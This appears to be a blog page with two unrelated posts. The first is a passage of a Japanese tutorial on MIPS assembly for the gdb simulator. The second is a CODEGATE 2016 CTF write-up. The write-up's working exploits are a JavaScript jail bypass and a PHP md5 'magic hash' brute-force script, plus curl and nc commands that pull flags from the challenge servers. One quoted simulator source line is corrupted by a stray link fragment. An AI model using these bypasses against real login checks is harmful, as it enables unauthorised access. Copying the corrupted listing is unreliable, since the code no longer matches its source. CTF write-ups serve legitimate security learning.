    return 0;
}

愚直にmipsアセンブリに落とし込むとこんな感じだろうか。いろいろ足りないので順を追って埋めていこう。

    .data
hello:
    .asciiz "Hello World\n"

    .text
    # write(1, hello, 12);
    lw $ra, 4($sp)      # restore return address

write()を書く

write()関数はmipsで書くとどんな感じなのだろうか。 とりあえず今回はgdbのsimで動かすのでソースを見てwrite()のアセンブリを調べる。

『熱血!アセンブラ入門』を読むとsim向けにmipsアセンブリを書いてみたがあるのでそれを参考にすると、 sim/mips/interp.cあたりを読めばシミュレータ向けのwrite()を発行する方法が分かる。

https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=blob;f=sim/mips/interp.c;h=9dbac8c58fc76f8a3e54c9819037c25bc0a495b6;hb=HEAD

1162 /* Simple monitor interface (currently setup for the IDT and PMON monitors) */
1163 int
1164 sim_monitor (SIM_DESC sd,
1165              sim_cpu *cpu,
1166              address_word cia,
1167              unsigned int reason)
1168 {
1176   reason >>= 1;
1181   switch (reason)
1182     kan++>STM32F>リンカスクリプト](http://www.usamimi.info/~mikanplus/stm32f/linker_script.htm){
    ...
1203     case 8: /* int write(int file,char *ptr,int len) */
1204       {
    ...
1216       }
    ...
1254     case 17: /* void _exit() */
1255       {
1256         sim_io_eprintf (sd, "sim_monitor(17): _exit(int reason) to be coded\n");
1257         sim_engine_halt (SD, CPU, NULL, NULL_CIA, sim_exited,
1258                          (unsigned int)(A0 & 0xFFFFFFFF));
1259         break;
1260       }

swtich-case に入ったときに reason が 8 になったときにwrite()ができる。 sim_monitor()を呼び出す命令列の条件を調べよう。

1783        if ((instruction & RSVD_INSTRUCTION_MASK) == RSVD_INSTRUCTION)
1784          {
1785            int reason = (instruction >> RSVD_INSTRUCTION_ARG_SHIFT) & RSVD_INSTRUCTION_ARG_MASK;
1786            if (!sim_monitor (SD, CPU, cia, reason))
1787              sim_io_error (sd, "sim_monitor: unhandled reason = %d, pc = 0x%s\n", reason, pr_addr (cia));
1788 
1789            /* NOTE: This assumes that a branch-and-link style
1790               instruction was used to enter the vector (which is the
1791               case with the current IDT monitor). */
1792            sim_engine_restart (SD, CPU, NULL, RA);
1793          }

(instruction & RSVD_INSTRUCTION_MASK) == RSVD_INSTRUCTIONがその条件のようだ。 マクロを展開するとこのようになる:instruction & 0xFC00003F == 0x39

  75 #define RSVD_INSTRUCTION           (0x00000039)
  76 #define RSVD_INSTRUCTION_MASK      (0xFC00003F)

なんだけど、これは嘘で、RSVD_INSTRUCTIONが5でないとVMの方で動作しないはず。 5が39になったのはこのコミットのせいらしい。

というわけで、正しくはinstruction & 0x3F == 0x5

ついでにinterp.cを調べると、 sim_monitorに入る前のreasonの値は、sim_monitorのswitch-case文のcaseの値をxとして ((x << 1) << RSVD_INSTRUCTION_ARG_SHIFT) & RSVD_INSTRUCTION_ARG_MASK つまり x << 7 に等しい。

  78 #define RSVD_INSTRUCTION_ARG_SHIFT 6
  79 #define RSVD_INSTRUCTION_ARG_MASK  0xFFFFF  

というわけで、お望みの関数を呼びたいときはswitch-caseのcaseの値をxとして次の命令(instruction)を書けば良い: .long (x << 7 | 0x5) 書くときは()内の式を計算してからにする。例えばwrite()の場合はx=8なので .long (8 << 7) | 0x5 つまり .long 0x405アセンブリ命令として書くとwrite()をシミュレータで呼ぶことができる。

__write:
    # sim/mips/interp.c (case 8: write())
    .long 0x405     # 8 << 7 | 0x5 = 0x400 | 0x5 -
    jr $ra
    nop

スタートアップルーチン

プログラムを実行するためにまず初期化の処理をする。 コンパイラが自動でしてくれない以下の処理を自分で記述せねばならない。

  • スタックポインタの設定
  • レジスタの設定
  • BSSセクションの初期化(今回は変数を使用しないため割愛する)
  • main()などのメインの処理をする関数の呼び出し
  • main()終了後の処理

『熱血!アセンブラ入門』を参考に以下のスタートアップルーチンを書いた。 32ビットのスタックポインタの設定が一命令で完結しないのは即値が16ビットの幅しかないためである。

また、_startgccにスタートアップのシンボルとして認識してもらうために、_startシンボルを.globl(.global)ディレクティブでエクスポートした。

.globl _start
_start:
    lui $sp, %hi(_estack)
    addiu $sp, $sp, %lo(_estack)
    jal main
    nop             # daley slot
    move $a0, $v0   # exit(0)

残りのアセンブリを書く

mipsでは関数の引数はregister渡しである。第一引数は$a0、第二引数は$a1という具合だ。 write()を呼び出すアセンブリはこのようになる。

    # in mips, function parameters are passed by registers
    li $a0, 1
    la $a1, hello
    li $a2, 12
    jal __write         # write(stdout, "Hello World\n", 12)

mainが終了した後はexit()でシミュレーションを終了させたい。 exit()はこのように書けばシミュレータを終了させることができる。

_exit:
    # sim/mips/interp.c (case 17: _exit())
    .long 0x885     # 17 << 7 | 0x5 = 0x880 | 0x005 
    jr $ra
    nop             # delay slot

最後に気をつけたいのはリターンアドレスを関数を呼び出す前に保存し、関数から戻ったらそれを復元することだ。 mipsで関数funcを扱うとき、呼び出しはjal funcと書き、呼び出し元に戻る処理はjr $raと書く。 mipsjal(jump and link)命令はリターンアドレスレジスタ$raに現在の$pcの値をセットする。 $raは呼び出し1回ぶんしか保存できないので、例えばmain()→write()と呼び出したとき、write()を呼び出しで$raが上書きされ、 main()でjr $raをしてmain()の呼び出し元に戻ることができなくなってしまう。 jr(jump register)命令はターゲットのレジスタに入っているアドレスにジャンプする命令である。 対策としてmain()で$raをスタックに保存&リストアする処理を書く(hello.s参照)。

完成したソースhello.sとし保存する。

    .data
hello:
    .asciiz "Hello World\n"

    .text
.globl _start
_start:
    lui $sp, %hi(_estack)
    addiu $sp, $sp, %lo(_estack)
    subu $sp, $sp, 4
    sw $ra, 0($sp)
    jal main
    nop             # daley slot
    lw $ra, 0($sp)
    addu $sp, $sp, 4    
    move $a0, $v0   # exit(0)

_exit:
    # sim/mips/interp.c (case 17: _exit())
    .long 0x885     # 17 << 7 | 0x5 = 0x880 | 0x005 
    jr $ra
    nop         # delay slot

__write:
    # sim/mips/interp.c (case 8: write())
    .long 0x405     # 8 << 7 | 0x5 = 0x400 | 0x5 -
    jr $ra
    nop

main:
    subu $sp, $sp, 4    # push stack
    sw $ra, 0($sp)      # save return address
    # in mips, function parameters are passed by registers
    li $a0, 1
    la $a1, hello
    li $a2, 12
    jal __write         # write(stdout, "Hello World\n", 12)
    lw $ra, 0($sp)      # restore return address
    addu $sp, $sp, 4    # pop stack
    li $v0, 0           # return 0
    jr $ra
    nop

リンカスクリプト

さーて書けたぞーということでstdlibなしでコンパイルしたいところだが、_estakの値(スタックポインタの初期位置)をコンパイルに教えねばならない。 また、メモリのマッピングgdbのsimに合わせねばならない。 これを実現するのがリンカスクリプトである。 リンカスクリプトを書くために以下の情報が必要である。

  • エントリポイントのアドレス
  • スタック領域の終わりのアドレス(スタックはアドレスが小さい方に向かって伸びる)

情報を集める前にmipsのメモリマップの図が欲しいところだ。幸いWikipediaのR3000の頁にあった。

R3000のメモリマップ

sim/mips/interp.cを探すと以下のアドレスの情報を見つけることができる。

 121 /* Note that the monitor code essentially assumes this layout of memory.
 122    If you change these, change the monitor code, too.  */
 123 /* FIXME Currently addresses are truncated to 32-bits, see
 124    mips/sim-main.c:address_translation(). If that changes, then these
 125    values will need to be extended, and tested for more carefully. */
 126 #define K0BASE  (0x80000000)
 127 #define K0SIZE  (0x20000000)
 128 #define K1BASE  (0xA0000000)
 129 #define K1SIZE  (0x20000000)

先ほどの図から察するに、プログラムはkナントカのスペースを使えば良さそうなので、 K0BASEの値をエントリポイント、K1BASE+K1SIZE-4を_estackの値にする (細かいことを気にしなければ_estackがK1BASEでも問題なく動く)。

完成したリンカスクリプトが以下のmips.ldsである。

ENTRY(_start)

OUTPUT_FORMAT("elf32-bigmips", "elf32-bigmips", "elf32-big-mips");

/* sim/mips/interep.c: K1BASE + K1SIZE - 4 */
_estack = 0xBFFFFFFC;

SECTIONS
{
  /* sim/mips/interep.c: K0BASE */
  . = 0x80000000;
  .text : {
    _ftext = . ;
    PROVIDE (eprol = .);
    *(.text)
    *(.text.*)
  }
}

コンパイル

stldlibなしで、先のリンカスクリプトを指定してコンパイルする。

[user@localhost mips]$ mips-elf-gcc -T mips.lds -nostdlib 1.s

実行

2通りで実行してみた。 sim_monitorのメッセージが嫌な人は回避策が『熱血!アセンブラ入門』に書かれているので購入をすすめる(ステマ)。 ヒントはsleep()

gdbのシミュレータに接続して実行する方法

一回目のrで怒られたのはわざとやで((((;゚Д゚))))

[user@localhost mips]$ mips-elf-gdb -q a.out 
Reading symbols from /home/user/project/mips/a.out...(no debugging symbols found)...done.
(gdb) target sim
Connected to the simulator.
(gdb) r
Starting program: /home/user/project/mips/a.out 
warning: No program loaded.
[Inferior 1 (process 42000) exited with code 057]
(gdb) load
Loading section .text, size 0x80 vma 0x80000000
Loading section .data, size 0xd vma 0x80000080
Start address 0x80000000
Transfer rate: 1128 bits in <1 sec.
(gdb) r
Starting program: /home/user/project/mips/a.out 
Hello World
sim_monitor(17): _exit(int reason) to be coded
[Inferior 1 (process 42000) exited normally]
(gdb) q

runで実行する方法

[user@localhost mips]$ mips-elf-run a.out 
Hello World
sim_monitor(17): _exit(int reason) to be coded

参考文献


この辺の話が好きな方は組込み技術者向け「初めてのC言語」にアクセスするとよいだろう。 (ドメインから察するに名大の情報コースの高田研の人が書いたっぽい。さすが…)

CODEGATE 2016 Quals - Writeup

i participated in CODEGATE 2016 Quals as a member of Ping-Mic.

solved:

  • JS_is_not_a_jail (misc100)

helped to solve:

  • Combination Pizza (web222)

JS_is_not_a_jail

First, i checked challenge100 function.

[JavaScript Jail]
let start to type on 'challenge100'
V8 version 5.1.0 (candidate)
d8> challenge100
function (arr) {
        var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
        var check = "20150303";

        if((arr === null || arr === undefined)) {
            print("arr is null or undefined.");
            return;
        }

        if(!arr.hasOwnProperty('length')) {
            print("length property is null or undefined.");
            return;
        }

        if(arr.length >= 0) {
            print("i think you're not geek. From now on, a GEEK Only!");
            return;
        }

        if(Object.getPrototypeOf(arr) !== Array.prototype) {
            print("Oh.... can you give me an array?");
            return;
        }

        var length = check.length;
        for(var i=0;i<length;i++) {
            arr[i] = random_value[Math.floor(Math.random() * random_value.length)];
        }

        for(i=0;i<length;i++) {
            if(arr[i] !== check[i]) {
                print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)");
                return;
            }
        }
        print("Yay!!");
        print(flag);
    }
d8> 

Next, I made class MyArray. It has length propaty which returns -1, and its value cannot be re-write. To prohibit re-write value, i used Object.defineProperty().

MyArray = function (){
    this.__proto__ = Array.prototype;
    this[0] = "2";
    this[1] = "0";
    this[2] = "1";
    this[3] = "5";
    this[4] = "0";
    this[5] = "3";
    this[6] = "0";
    this[7] = "3";
    this.length = -1;
    return this;
};
var _arr = MyArray();
console.log(Object.getOwnPropertyNames(_arr));
for(var i = 0; i <= 7; i+=1){
    _arr = Object.defineProperty(_arr, i.toString(10), {
        writable: false
    });
}
console.log(_arr.length);

challenge100(_arr);

function challenge100 (arr) {
    var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
    var check = "20150303";
    var print = console.log;
    var flag = "test_flag{this is test}";

    if((arr === null || arr === undefined)) {
        print("arr is null or undefined.");
        return;
    }

    if(!arr.hasOwnProperty('length')) {
        print("length property is null or undefined.");
        return;
    }

    if(arr.length >= 0) {
        print("i think you're not geek. From now on, a GEEK Only!");
        return;
    }

    if(Object.getPrototypeOf(arr) !== Array.prototype) {
        print("Oh.... can you give me an array?");
        return;
    }

    var length = check.length;
    for(var i=0;i<length;i++) {
        arr[i] = random_value[Math.floor(Math.random() * random_value.length)];
    }
    console.log(arr);

    for(i=0;i<length;i++) {
        if(arr[i] !== check[i]) {
            print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)");
            return;
        }
    }
    print("Yay!!");
    print(flag);
}

Third, i ran this code locally to see if it works. node is good for debugging environment.

Finally, i formatted this code, and pasted to JavaScript Jail.

MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; 
var _arr = MyArray();
console.log(Object.getOwnPropertyNames(_arr));
for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });}
$ nc 175.119.158.131 1129 
[JavaScript Jail]
let start to type on 'challenge100'
V8 version 5.1.0 (candidate)
d8> MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; 
var _arr = MyArray();
console.log(Object.getOwnPropertyNames(_arr));
for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });}
challenge100(_arr);MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; 
function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }
d8> var _arr = MyArray();
undefined
d8> console.log(Object.getOwnPropertyNames(_arr));
(d8):1: ReferenceError: console is not defined
console.log(Object.getOwnPropertyNames(_arr));
^
ReferenceError: console is not defined
    at (d8):1:1

d8> for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });}
[]
d8> 
challenge100(_arr);challenge100(_arr);
Yay!!
flag is "easy xD, get a more hardest challenge!"
undefined

Combination Pizza

This is _login_ck.php:


<?php
    include "./lib/for_flag.php";
    include "./lib/lib.php";

    $user = mysql_real_escape_string($_POST['user']);
    $pass = mysql_real_escape_string($_POST['pass']);
    $token = $_POST['token'];

    $que = "select user from login where user='{$user}' and pass=md5('{$pass}')";
    $result = mysql_query($que);
    $row = mysql_fetch_array($result);

    if($row['user'] == 'Admin')
    {
        if(md5("blog".$token) == '0e689047178306969035064392896674')
        {
            echo "good job !!!<br />FLAG : <b>".$flag."</b>";
        }
        else
        {
            echo "Incorrect Token";
        }
    }
    else
    {
        echo "Incorrect ID or Password";
    }

?>

i noticed that md5("blog".$token) == '0e689047178306969035064392896674' should be 0 == 0 (numeric compare) in a cirtain $token. @mrtc0 found this post:

PHP: md5('240610708') == md5('QNKCDZO') | Hacker News

So i ran this php script:

<?php
$test = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "p", "Q", "R", "S", "T", "U"];
for($i = 0, $len = count($test); $i < $len; $i += 1){
for($j = 0, $len = count($test); $j < $len; $j += 1){
for($k = 0, $len = count($test); $k < $len; $k += 1){
for($l = 0, $len = count($test); $l < $len; $l += 1){
for($m = 0, $len = count($test); $m < $len; $m += 1){
    $token  = "\n" . $test[$i] . $test[$j] . $test[$k] . $test[$l] . $test[$m];
    if(md5("blog".$token) == '0e689047178306969035064392896674'){
        echo "\$token = " . urlencode($token) . "\n    => " . md5("blog".$token) . "\n";
    }
}
}
}
}
}
$ php ./web222_n.php
$token = %0AtDMwy
    => 0e163908937933900237353340463810

Good!! $token = "%0AtDMwy" gives me the flag:

curl http://175.119.158.137:9242/f00885da9ad9ad5fcccaa8fc1217e3ae/login_ck.php -d "user=Admin" -d "pass=adminpw" -d 'token=%0AtDMwy' 
good job !!!<br />FLAG : <b>jjambbong_WEBHACKING!!@!</b